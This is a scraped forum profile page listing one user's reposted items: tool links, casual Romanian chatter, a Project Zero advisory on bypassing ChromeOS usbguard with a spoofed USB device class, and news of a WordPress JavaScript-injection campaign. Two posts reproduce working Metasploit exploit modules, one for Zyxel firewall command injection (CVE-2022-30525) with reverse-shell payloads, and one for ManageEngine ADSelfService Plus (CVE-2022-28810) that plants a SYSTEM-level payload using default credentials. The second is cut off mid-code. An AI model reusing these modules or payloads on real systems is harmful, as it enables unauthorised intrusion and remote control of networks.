Jump to content

Kev

Active Members
  • Posts

    1026
  • Joined

  • Days Won

    55

Everything posted by Kev

  1. Kev

    DALL-E 2.0

    DALL·E 2 can create original, realistic images and art from a text description. It can combine concepts, attributes, and styles. Register: https://openai.com/dall-e-2/ Source: Primit de la un amic. Enjoy
  2. Pare a fi a Kamasutra, scris de vreun tocilar onanist Mai poti pune cateva linii din cod te rog:?
  3. Salut, este cineva dispus cu un GoPro astazi (Luni 30/5/2022 intre orele 8:50-13:50) in Bucuresti pe calea Victoriei, sa "tragã" niste cadre despre niste gadget-uri? eventual si interviuri. PM Cu stimã Edit:/ a fost cineva? @wirtz mai esti prezent? L.E.: daca nu se poate da T/C -> Trash
  4. ChromeOS uses usbguard when the screen is locked but appears to suffer from bypass issues. ChromeOS' usage of usbguard is bypassable VULNERABILITY DETAILS ChromeOS uses https://usbguard.github.io/ when the screen is locked (but not on the login screen, perhaps because it is expected that code execution is much less helpful when the disk is still encrypted?). When the screen is locked, a policy is applied that might look like this (example from my Pixelbook): ``` allow id 0bda:564b serial \"\\x07LOE65001063010A78M015CFAI06BF12000\" name \"WebCamera\" hash \"KsByWtMB5JtGNDimauArXMiZOThFwagdTWeQsMAZ48c=\" with-interface { 0e:01:00 0e:02:00 0e:02:00 0e:02:00 0e:02:00 0e:02:00 0e:02:00 0e:02:00 0e:02:00 } with-connect-type \"hardwired\" allow id 1d6b:0002 serial \"0000:00:14.0\" name \"xHCI Host Controller\" hash \"jEP/6WzviqdJ5VSeTUY8PatCNBKeaREvo2OqdplND/o=\" with-interface 09:00:00 with-connect-type \"\" allow id 1d6b:0003 serial \"0000:00:14.0\" name \"xHCI Host Controller\" hash \"3Wo3XWDgen1hD5xM3PSNl3P98kLp1RUTgGQ5HSxtf8k=\" with-interface 09:00:00 with-connect-type \"\" allow id 8087:0a2a serial \"\" name \"\" hash \"AyPZWy2XK0931kB9A/owYfk5xHEqnpDsJfdeLSGIyuk=\" with-interface { e0:01:01 e0:01:01 e0:01:01 e0:01:01 e0:01:01 e0:01:01 e0:01:01 } with-connect-type \"hardwired\" #################################################################################################### # Footer. #################################################################################################### block with-interface one-of { 05:*:* 06:*:* 07:*:* 08:*:* } # physical, image, printer, storage allow ``` As you can see, it mostly just allowlists specific devices with full hashes of the expected USB configuration descriptors, and internal USB devices are marked such that they won't be accepted on external USB ports. (Which, by the way, might not actually be necessary, since the USB subsystem's `authorized_default` flag is set to 2 when the screen is locked, not 0, meaning internal USB devices are automatically allowed anyway?) But then at the bottom is this footer that blocks USB devices with interface descriptors that contain the following `bInterfaceClass` values: - USB_CLASS_PHYSICAL (5) - USB_CLASS_STILL_IMAGE (6) - USB_CLASS_PRINTER (7) - USB_CLASS_MASS_STORAGE (8) Afterwards, anything else is permitted. This configuration footer comes from <https://source.chromium.org/chromiumos/chromiumos/codesearch/+/main:src/third_party/chromiumos-overlay/sys-apps/usbguard/files/99-rules.conf>. The interface-based classification of devices was introduced in <https://chromium-review.googlesource.com/c/chromiumos/overlays/chromiumos-overlay/+/1217622/>. Apart from the problem that there is a large amount of attack surface in drivers for devices that don't belong into those USB interface classes, there is another issue with this approach: The kernel often doesn't care what USB class a device claims to be. The way USB drivers tend to work, even for standardized protocols, is that the driver specifies with low priority that it would like to bind to standards-compliant devices using the proper USB interface class, but also specifies with high priority that it would like to bind to specific USB devices based on Vendor ID and Product ID, without caring about their USB interface class. As an example, USB_CLASS_MASS_STORAGE is blocklisted, so a USB stick inserted while the screen is locked doesn't get past the authorization check: [ 6411.611320] usb 1-1: new high-speed USB device number 31 using xhci_hcd [ 6411.738900] usb 1-1: New USB device found, idVendor=0781, idProduct=5580, bcdDevice= 0.10 [ 6411.738910] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [ 6411.738916] usb 1-1: Product: [...] [ 6411.738921] usb 1-1: Manufacturer: SanDisk [ 6411.738926] usb 1-1: SerialNumber: [...] [ 6411.740583] usb 1-1: Device is not authorized for usage [ 6414.875133] cros-ec-sensorhub [...] [ 6418.603609] usb 1-1: USB disconnect, device number 31 But if we use a Linux machine with appropriate hardware (I'm using a NET2380 dev board, but you could probably also do it with an unlocked Pixel phone or a Raspberry Pi Zero W or something like that) to emulate a USB Mass Storage device, using <https://docs.kernel.org/usb/mass-storage.html>, and patch one line in the attacker kernel so that it claims to be a billboard, not a storage device: diff --git a/drivers/usb/gadget/function/storage_common.c b/drivers/usb/gadget/function/storage_common.c index b859a158a414..d7452c8458a9 100644 --- a/drivers/usb/gadget/function/storage_common.c +++ b/drivers/usb/gadget/function/storage_common.c @@ -34,7 +34,7 @@ struct usb_interface_descriptor fsg_intf_desc = { .bDescriptorType = USB_DT_INTERFACE, .bNumEndpoints = 2, /* Adjusted during fsg_bind() */ - .bInterfaceClass = USB_CLASS_MASS_STORAGE, + .bInterfaceClass = USB_CLASS_BILLBOARD, .bInterfaceSubClass = USB_SC_SCSI, /* Adjusted during fsg_bind() */ .bInterfaceProtocol = USB_PR_BULK, /* Adjusted during fsg_bind() */ .iInterface = FSG_STRING_INTERFACE, Then we can connect just fine even while the screen is locked - first we get a \"Device is not authorized\" message on the initial connection, then usbguard unblocks us and the kernel probes the device as a mass storage device and scans the partition table: [ 6432.752906] usb 1-1: new high-speed USB device number 32 using xhci_hcd [ 6432.885635] usb 1-1: New USB device found, idVendor=0525, idProduct=a4a5, bcdDevice= 5.17 [ 6432.885647] usb 1-1: New USB device strings: Mfr=3, Product=4, SerialNumber=0 [ 6432.885653] usb 1-1: Product: Mass Storage Gadget [ 6432.885658] usb 1-1: Manufacturer: Linux 5.17.0-rc4+ with net2280 [ 6432.886121] usb 1-1: Device is not authorized for usage [ 6432.891672] usb-storage 1-1:1.0: USB Mass Storage device detected [ 6432.891985] usb-storage 1-1:1.0: Quirks match for vid 0525 pid a4a5: 10000 [ 6432.892090] scsi host0: usb-storage 1-1:1.0 [ 6432.892567] usb 1-1: authorized to connect [ 6433.920354] scsi 0:0:0:0: Direct-Access Linux File-Stor Gadget 0517 PQ: 0 ANSI: 2 [ 6433.922585] sd 0:0:0:0: Power-on or device reset occurred [ 6433.923533] sd 0:0:0:0: [sda] 204800 512-byte logical blocks: (105 MB/100 MiB) [ 6434.030869] sd 0:0:0:0: [sda] Write Protect is off [ 6434.030876] sd 0:0:0:0: [sda] Mode Sense: 0f 00 00 00 [ 6434.136540] sd 0:0:0:0: [sda] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA [ 6434.363462] sda: sda1 sda2 [ 6434.585367] cros-ec-sensorhub [...] [ 6434.588541] sd 0:0:0:0: [sda] Attached SCSI disk I haven't looked at how this issue applies to other USB subsystems in detail, but from a quick glance: - USB_CLASS_PHYSICAL doesn't really show up in the Linux kernel outside of some number-to-string translation table, so I don't think it matters to the kernel. - Same thing with USB_CLASS_STILL_IMAGE. - The usblp subsystem does have an explicit check for USB_CLASS_PRINTER - but that check is intentionally bypassed for known devices that are marked in the kernel as USBLP_QUIRK_BAD_CLASS, and that flag is set for the \"Seiko Epson Receipt Printer M129C\" (vendor 0x04b8, device 0x0202), so you can probably also bypass the blocking of the printer interface class that way. I think the best way forward would be to look into whether it is feasible to rely exclusively on a trust-on-first-use approach. If that is infeasible, you may have to talk to upstream about how userspace can reliably determine which driver(s) a given USB device might be bound to, since I'm not aware of any interface that would let you do that. VERSION Google Chrome 98.0.4758.107 (Official Build) (64-bit) Revision a2ef32d533baed737df9fc2ed8d505405ecf0c66-refs/branch-heads/4758@{#1167} Platform 14388.61.0 (Official Build) stable-channel eve Firmware Version Google_Eve.9584.230.0 Customization ID GOOGLE-EVE ARC 8165997 CREDIT INFORMATION Reporter credit: Jann Horn of Google Project Zero This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2022-05-25. Found by: jannh@google.com Source
  5. Nu, poti rezolva? Edit: era pe moment daca ai posteaza, daca nu... rezolv...
  6. Kev

    TimelineCSS

    URL: https://www.timelinecss.io/top Author: joseph.michael.sample@gmail.com Source: www.timelinecss.io/
  7. Nu ma intereseaza CNP ( certificat de nastere), doar prenumele sa nu ma strige {$name hai sa ma regulezi}, nu fac fraude dar i-mi plac MILF-urile, daca e shemale nu conteaza, prenumele atat.
  8. Nu sunt toti afară uneori Multumesc
  9. Salut, imi pot schimba prenumele din actele de identitate (permis auto, C.I. certificat de nastere, etc...) Ma deranjeaza faptul ca am prenume comun si multe MILF-uri in cartier care isi striga copiii "$name hai la masã" iar unii din sotiile lor sunt plecati prin armatã si nu vreau sa ma trezesc cu teava-n cap. So, se poate? legal. Thanks
  10. Kev

    CVE-Tracker

    URLs: https://cvetrends.com/ https://cve.circl.lu/ Source: https://github.com/4D0niiS/CVE-Tracker
  11. Verdict-as-a-Service (VaaS) is a service that provides a platform for scanning files for malware and other threats. It allows easy integration in your application. With a few lines of code, you can start scanning files for malware. ATTENTION: All SDKs are currently prototypes and under heavy construction! Integration of Malware Detection Easily integrate malware detection into any kind of application, service or platform. Create a command line scanner to find malware with a few lines of code: Example Create a KDE Dolphin plugin to scan for malicious content with a few lines of code: Example Create a WordPress plugin that scans all file uploads for malware with a few lines of code: Example Create a Discord bot that scans and deletes malicious files uploaded on your Discord server with few lines of code: Example I'm interested in VaaS You need credentials to use the service in your application. If you are interested in using VaaS, please contact us. SDKs At the moment SDKs for Rust, Java, Typescript and PHP are available. Functionality Rust Java PHP TypeScript Check SHA256 ✅ ✅ ✅ ✅ Check SHA256 list ✅ ❌ ❌ ✅ Check file ✅ ✅ ✅ ✅ Check file list ✅ ❌ ❌ ✅ Documentation Documentation for the SDKs is available in the corresponding SDK folder. Rust SDK, Examples Java SDK PHP SDK, Examples TypeScript SDK Planned SDKs The following SDKs are planned but not yet available: Swift and Perl. If you need SDKs for other languages, please create an issue or contribute an SDK with a pull request. Source
  12. This Metasploit module exploits CVE-2022-30525, an unauthenticated remote command injection vulnerability affecting Zyxel firewalls with zero touch provisioning (ZTP) support. By sending a malicious setWanPortSt command containing an mtu field with a crafted OS command to the /ztp/cgi-bin/handler page, an attacker can gain remote command execution as the nobody user. Affected Zyxel models are USG FLEX 50, 50W, 100W, 200, 500, 700 using firmware 5.21 and below, USG20-VPN and USG20W-VPN using firmware 5.21 and below, and ATP 100, 200, 500, 700, 800 using firmware 5.21 and below. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Zyxel Firewall ZTP Unauthenticated Command Injection', 'Description' => %q{ This module exploits CVE-2022-30525, an unauthenticated remote command injection vulnerability affecting Zyxel firewalls with zero touch provisioning (ZTP) support. By sending a malicious setWanPortSt command containing an mtu field with a crafted OS command to the /ztp/cgi-bin/handler page, an attacker can gain remote command execution as the nobody user. Affected Zyxel models are: * USG FLEX 50, 50W, 100W, 200, 500, 700 using firmware 5.21 and below * USG20-VPN and USG20W-VPN using firmware 5.21 and below * ATP 100, 200, 500, 700, 800 using firmware 5.21 and below }, 'License' => MSF_LICENSE, 'Author' => [ 'jbaines-r7' # Vulnerability discovery and Metasploit module ], 'References' => [ [ 'CVE', '2022-30525' ], [ 'URL', 'https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/'] ], 'DisclosureDate' => '2022-04-28', 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_MIPS64,], 'Privileged' => false, 'Targets' => [ [ 'Shell Dropper', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_MIPS64], 'Type' => :linux_dropper, 'CmdStagerFlavor' => [ 'curl', 'wget' ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/mips64/meterpreter_reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end # Checks the build date that is embedded in the landing page. If it finds a build # date older than April 20, 2022 then it will additionally check if the model is # a USG FLEX, USG20[w]?-VPN, or an ATP system. Command execution is blind so this # seems like a reasonable approach. def check res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/')) unless res return CheckCode::Unknown('The target failed to respond to check.') end unless res.code == 200 return CheckCode::Safe('Failed to retrieve /') end ver = res.body[/favicon\.ico\?v=(?<build_date>[0-9]{6,})/, :build_date] if ver.nil? return CheckCode::Safe('Could not extract a version number') end if ver[0..5].to_i < 220420 model = res.get_html_document.xpath('//title').text if model.include?('USG FLEX') || model.include?('ATP') || (model.include?('USG20') && model.include?('-VPN')) return CheckCode::Appears("This was determined by the model and build date: #{model}, #{ver}") end end CheckCode::Safe("This determination is based on the build date string: #{ver}.") end def execute_command(cmd, _opts = {}) handler_uri = normalize_uri(target_uri.path, '/ztp/cgi-bin/handler') print_status("Sending command to #{handler_uri}") # this is the POST data. exploit goes into the mtu field. technically, `data` is a usable vector too # but it's more involved. http_payload = { 'command' => 'setWanPortSt', 'proto' => 'dhcp', 'port' => Rex::Text.rand_text_numeric(4).to_s, 'vlan_tagged' => Rex::Text.rand_text_numeric(4).to_s, 'vlanid' => Rex::Text.rand_text_numeric(4).to_s, 'mtu' => ";#{cmd};", 'data' => '' } res = send_request_cgi({ 'method' => 'POST', 'uri' => handler_uri, 'headers' => { 'Content-Type' => 'application/json; charset=utf-8' }, 'data' => http_payload.to_json }) # Successful exploitation can result in no response (connection being held open by a reverse shell) # or, if the command executes immediately, a response with a 503. if res && res.code != 503 fail_with(Failure::UnexpectedReply, "The target replied with HTTP status #{res.code}. No reply was expected.") end print_good('Command successfully executed.') end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager end end end # 0day.today [2022-05-17] # Source
  13. Cybersecurity researchers have disclosed a massive campaign that's responsible for injecting malicious JavaScript code into compromised WordPress websites that redirects visitors to scam pages and other malicious websites to generate illegitimate traffic. This involved infecting files such as jquery.min.js and jquery-migrate.min.js with obfuscated JavaScript that's activated on every page load, allowing the attacker to redirect the website visitors to a destination of their choice. The GoDaddy-owned website security company said that the domains at the end of the redirect chain could be used to load advertisements, phishing pages, malware, or even trigger another set of redirects. In some instances, unsuspecting users are taken to a rogue redirect landing page containing a fake CAPTCHA check, clicking which serves unwanted ads that are disguised to look as if they come from the operating system and not from a web browser. The campaign — a continuation of another wave that was detected last month — is believed to have impacted 322 websites so far, starting May 9. The April set of attacks, on the other hand, has breached over 6,500 websites. Found this article interesting? Follow THN on Facebook, Twitter and LinkedIn to read more exclusive content we post. Source
  14. A Drama in Three Acts Security is perhaps the most neglected area of information technology. It is extensive, diverse and complex. It is political. It is ungrateful. It is a drama. An attempt to cope in three acts. About the Author The Author is working over 25 years in IT and mechanical engineering businesses as architect, developer, UNIX system/network administrator and entrepreneur. As cofounder of Micro-Colocation.com, his focus since 2021 has been on green edge computing for small computers. This colocation service was recently released and is happy to welcome any Raspberry Pi, Odroid, Jetson Nano and other Single Board Computer enthusiasts. CC licensed texts like this drama are created within the working hours of this company. You can support the text production by sharing the Micro-Colocation.com link in your network and, of course by booking colocation services. Many thanks. Table of Contents Prologue........................................................................................................................2 First Act.........................................................................................................................4 First Scene – The Dilemmas...............................................................................4 Second Scene – The Developer..........................................................................6 Third scene – The Allies......................................................................................7 Fourth Scene – The Concept............................................................................12 Second Act..................................................................................................................15 First Scene – The Application..........................................................................15 Second Scene – The Identification..................................................................18 Third Scene – The Access..................................................................................22 Fourth Scene – The Encryption.......................................................................24 Third Act.....................................................................................................................26 Last Scene: The Implementation.....................................................................26 Epilogue......................................................................................................................29 Please / Thank you...................................................................................................29 Props............................................................................................................................30 eBook Versions: English Translation: IT Security for Developers — A Drama in Three Acts | May 2022 Deutsche Originalversion, empfohlen für Muttersprachler: IT Sicherheit für Entwickler — Ein Drama in drei Akten | Mai 2022 Source
  15. sodha is a curated search engine for software engineers Link: https://sodha.dev Source
  16. Face figuri tema Sau poate este de la mine?! Opera: ctrl+shift+N
  17. Kev

    Useful stuff

    https://www.insanelyusefulwebsites.com Autor: jayra
  18. For those of you familiar with boolean operators and advanced search modifers in the likes of Google and Bing (I include Yahoo, Altavista, MSN and Live Search in this as they all run off Bing’s search engine as of last year); you will know that the extremely useful field command “inurl:” does not work in Microsoft’s Bing search engine. Microsoft temporarily suspended support of this field command back in 2007 due to “what appears to be mass automated usage for data mining”. They never brought it back. The inurl: field command is used by recruiters and sourcers alike to find public profiles in LinkedIn, search for CVs on the web and generally exploit patterns in web addresses that can lead to candidate information. Google have a virtual monopoly on this as they are the last major search engine left that still allow you to search within the url of a web address. Well, not any more. It turns out that Bing does allow you to search within the url of a web page, in fact they have a documented search command that allows you to search within the url, title, meta tags and much more with just one command. This nifty little command is called “instreamset” and allows you to specify key words that you wish to search for within either the url, title, body or anchors of a webpage. In fact it goes one step further and allows you to combine any of these meta tags in your search. Here’s an example: if you run the following search in Bing it will look for the letters “recruitment” in either the Title or Url of a web-page: instreamset:(url title):recruitment If you change this to just instreamset:url:recruitment then Bing will just search the url for these letters. I say letters as, unlike Google, Bing appears to search for the letters rather than treating our search paramater as a whole word. If you run a search for inurl:recruitment in Google, you tend only to see “recruitment” as a whole word in the url, preceded and followed by a special character such as / – . etc. This can be a pain when looking for CVs, for example, as they often appear in urls such as wwww.mycv.com which Google might not prioritise as it sees the whole word “mycv” rather than seeing “cv” as part of that term. Thankfully you can also filter words from the url by inserting the negative sign or hyphen in front of instreamset as follows: site:linkedin.com -instreamset:url:dir -instreamset:url:groups “java developer” In this example Bing filters out directory and group listings from our search for the public profiles of Java Developers. When searching for CVs you could run a search for the following when looking for Software Developers in Dublin: instreamset:(title url):cv “software developer” dublin -advice -jobs -sample -apply -description -submit This works very similarly to a Google search for (inurl:~cv | intitle:~cv) with Bing also searching for synonyms of CV such as resumé and “curriculum vitae”. Fundamentally Bing remains weak when it comes to indexing public LinkedIn profiles so it still doesn’t work as well as Google for LinkedIn searches but it does provide a great, comprehensive alternative to Google for finding CVs and other profile searches that would otherwise require a url search. Which search engine do you prefer to use and why? Source
  19. Kev

    Useful stuff

    https://fb.watch/cAHryojNZ3/
  20. de ce nu vorbesti in support? posibil sa cunosc pe cineva, te anunt...
  21. pare straniu aici: Browser: Opera version 85.0.4341.71 Display resolution: 1366x768 (Ctrl + 0) Topic:
  22. This Metasploit module exploits the "custom script" feature of ADSelfService Plus. The feature was removed in build 6122 as part of the patch for CVE-2022-28810. For purposes of this module, a "custom script" is arbitrary operating system command execution. This module uses an attacker provided "admin" account to insert the malicious payload into the custom script fields. When a user resets their password or unlocks their account, the payload in the custom script will be executed. The payload will be executed as SYSTEM if ADSelfService Plus is installed as a service, which we believe is the normal operational behavior. This is a passive module because user interaction is required to trigger the payload. This module also does not automatically remove the malicious code from the remote target. Use the "TARGET_RESET" operation to remove the malicious custom script when you are done. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'ManageEngine ADSelfService Plus Custom Script Execution', 'Description' => %q{ This module exploits the "custom script" feature of ADSelfService Plus. The feature was removed in build 6122 as part of the patch for CVE-2022-28810. For purposes of this module, a "custom script" is arbitrary operating system command execution. This module uses an attacker provided "admin" account to insert the malicious payload into the custom script fields. When a user resets their password or unlocks their account, the payload in the custom script will be executed. The payload will be executed as SYSTEM if ADSelfService Plus is installed as a service, which we believe is the normal operational behavior. This is a passive module because user interaction is required to trigger the payload. This module also does not automatically remove the malicious code from the remote target. Use the "TARGET_RESET" operation to remove the malicious custom script when you are done. ADSelfService Plus uses default credentials of "admin":"admin" }, 'Author' => [ # Discovered and exploited by unknown threat actors 'Jake Baines', # Analysis, CVE credit, and Metasploit module 'Hernan Diaz', # Analysis and CVE credit 'Andrew Iwamaye', # Analysis and CVE credit 'Dan Kelley' # Analysis and CVE credit ], 'References' => [ ['CVE', '2022-28810'], ['URL', 'https://www.manageengine.com/products/self-service-password/kb/cve-2022-28810.html'], ['URL', 'https://www.rapid7.com/blog/post/2022/04/14/cve-2022-28810-manageengine-adselfservice-plus-authenticated-command-execution-fixed/'] ], 'DisclosureDate' => '2022-04-09', 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Privileged' => true, # false if ADSelfService Plus is not run as a service 'Stance' => Msf::Exploit::Stance::Passive, 'Targets' => [ [ 'Windows Command', { 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/jjs_reverse_tcp' } } ], ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 8888, 'DisablePayloadHandler' => true, 'JJS_PATH' => '..\\jre\\bin\\jjs.exe' }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Path traversal for auth bypass', '/']), OptString.new('USERNAME', [true, 'The administrator username', 'admin']), OptString.new('PASSWORD', [true, 'The administrator user\'s password', 'admin']), OptBool.new('TARGET_RESET', [true, 'On the target, disables custom scripts and clears custom script field', false]) ]) end ## # Because this is an authenticated vulnerability, we will rely on a version string # for the check function. We can extract the version (or build) from selfservice/index.html. ## def check res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/selfservice/index.html')) unless res return CheckCode::Unknown('The target failed to respond to check.') end unless res.code == 200 return CheckCode::Safe('Failed to retrieve /selfservice/index.html') end ver = res.body[/\.css\?buildNo=(?<build_id>[0-9]+)/, :build_id] if ver.nil? return CheckCode::Safe('Could not extract a version number') end if Rex::Version.new(ver) < Rex::Version.new('6122') return CheckCode::Appears("This determination is based on the version string: #{ver}.") end CheckCode::Safe("This determination is based on the version string: #{ver}.") end ## # Authenticate with the remote target. Login requires four steps: # # 1. Grab a CSRF token # 2. Post credentials to /ServletAPI/accounts/login # 3. Post credentials to /j_security_check # 4. Grab another CSRF token for authenticated requests # # @return a new CSRF token to use with authenticated requests ## def authenticate # grab a CSRF token from the index res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do') }) fail_with(Failure::Unreachable, 'The target did not respond') unless res fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['HttpOnly, adscsrf'].empty? csrf_tok = res.get_cookies_parsed['HttpOnly, adscsrf'].to_s[/HttpOnly, adscsrf=(?<token>[0-9a-f-]+); path=/, :token] fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok # send the first login request to get the ssp token res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/ServletAPI/accounts/login'), 'keep_cookies' => true, 'vars_post' => { 'loginName' => datastore['USERNAME'], 'domainName' => 'ADSelfService Plus Authentication', 'j_username' => datastore['USERNAME'], 'j_password' => datastore['PASSWORD'], 'AUTHRULE_NAME' => 'ADAuthenticator', 'adscsrf' => csrf_tok } }) fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200 # send the second login request to get the sso token res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/j_security_check'), 'keep_cookies' => true, 'vars_post' => { 'loginName' => datastore['USERNAME'], 'domainName' => 'ADSelfService Plus Authentication', 'j_username' => datastore['USERNAME'], 'j_password' => datastore['PASSWORD'], 'AUTHRULE_NAME' => 'ADAuthenticator', 'adscsrf' => csrf_tok } }) fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 302 # revisit authorization.do to complete authentication res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do'), 'keep_cookies' => true }) fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['adscsrf'].empty? csrf_tok = res.get_cookies_parsed['adscsrf'].to_s[/adscsrf=(?<token>[0-9a-f-]+);/, :token] fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok print_good('Authentication successful') csrf_tok end ## # Triggering the payload requires user interaction. Using the default payload # handler will cause this module to exit after planting the payload, so the # module will spawn it's own handler so that it doesn't exit until a shell # has been received/handled. Note that this module is passive so it should # just be chilling quietly in the background. # # This code is largely copy/paste from windows/local/persistence.rb ## def create_multihandler(lhost, lport, payload_name) pay = framework.payloads.create(payload_name) pay.datastore['LHOST'] = lhost pay.datastore['LPORT'] = lport print_status('Starting exploit/multi/handler') # Set options for module mh = framework.exploits.create('multi/handler') mh.share_datastore(pay.datastore) mh.datastore['PAYLOAD'] = payload_name mh.datastore['EXITFUNC'] = 'thread' mh.datastore['ExitOnSession'] = true # Validate module options mh.options.validate(mh.datastore) # Execute showing output mh.exploit_simple( 'Payload' => mh.datastore['PAYLOAD'], 'LocalInput' => user_input, 'LocalOutput' => user_output, 'RunAsJob' => true ) # Check to make sure that the handler is actually valid # If another process has the port open, then the handler will fail # but it takes a few seconds to do so. The module needs to give # the handler time to fail or the resulting connections from the # target could end up on on a different handler with the wrong payload # or dropped entirely. Rex.sleep(5) return nil if framework.jobs[mh.job_id.to_s].nil? return mh.job_id.to_s end # The json policy blob that ADSSP provides us is not accepted by ADSSP # if we try to POST it back. Specifically, ADSP is very unhappy about all # the booleans using "true" or "false" instead of "1" or "0" *except* for # HIDE_CAPTCHA_RPUA which has to remain a boolean. Sounds unbelievable, but # here we are. def fix_adssp_json(json_hash) json_hash.map do |key, value| if value.is_a? Hash [key, fix_adssp_json(value)] elsif value.is_a? Array value = value.map do |array_val| if array_val.is_a? Hash array_val = fix_adssp_json(array_val) end array_val end [key, value] elsif key == 'HIDE_CAPTCHA_RPUA' [key, value] elsif value.is_a? TrueClass [key, 1] elsif value.is_a? FalseClass [key, 0] else [key, value] end end.to_h end def exploit csrf_tok = authenticate # Grab the list of configured policies policy_list_uri = normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/getPolicyConfigDetails') print_status("Requesting policy list from #{policy_list_uri}") res = send_request_cgi({ 'method' => 'GET', 'uri' => policy_list_uri }) fail_with(Failure::UnexpectedReply, 'Log in attempt failed') unless res.code == 200 policy_json = res.get_json_document fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if policy_json.nil? policy_details_json = policy_json['POLICY_DETAILS'] fail_with(Failure::UnexpectedReply, "The target didn't have any configured policies") if policy_details_json.nil? # There can be multiple policies. This logic will loop over each one, grab the configuration # details, update the configuration to include our payload, and then POST it back. policy_details_json.each do |policy_entry| policy_id = policy_entry['POLICY_ID'] policy_name = policy_entry['POLICY_NAME'] fail_with(Failure::UnexpectedReply, 'Policy details missing name or id') if policy_id.nil? || policy_name.nil? print_status("Requesting policy details for #{policy_name}") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/getAPCDetails'), 'vars_get' => { 'POLICY_ID' => policy_id } }) fail_with(Failure::UnexpectedReply, 'Acquiring specific policy details failed') unless res.code == 200 # load the JSON and insert (or remove) our payload specific_policy_json = res.get_json_document fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if specific_policy_json.nil? fail_with(Failure::UnexpectedReply, "The target didn't contain the expected JSON") if specific_policy_json['SCRIPT_COMMAND_RESET'].nil? new_payload = "cmd.exe /c #{payload.encoded}" if datastore['TARGET_RESET'] print_status('Disabling custom script functionality') specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_RESET'] = '0' specific_policy_json['SCRIPT_COMMAND_RESET'] = '' specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_UNLOCK'] = '0' specific_policy_json['SCRIPT_COMMAND_UNLOCK'] = '' else print_status('Enabling custom scripts and inserting the payload') specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_RESET'] = '1' specific_policy_json['SCRIPT_COMMAND_RESET'] = new_payload specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_UNLOCK'] = '1' specific_policy_json['SCRIPT_COMMAND_UNLOCK'] = new_payload end # fix up the ADSSP provided json so ADSSP will accept it o.O updated_policy = fix_adssp_json(specific_policy_json).to_json policy_update_uri = normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/setAPCDetails') print_status("Posting updated policy configuration to #{policy_update_uri}") res = send_request_cgi({ 'method' => 'POST', 'uri' => policy_update_uri, 'vars_post' => { 'APC_SETTINGS_DETAILS' => updated_policy, 'POLICY_NAME' => policy_name, 'adscsrf' => csrf_tok } }) fail_with(Failure::UnexpectedReply, 'Policy update request failed') unless res.code == 200 # spawn our own payload handler? if !datastore['TARGET_RESET'] && datastore['DisablePayloadHandler'] listener_job_id = create_multihandler(datastore['LHOST'], datastore['LPORT'], datastore['PAYLOAD']) if listener_job_id.blank? print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another 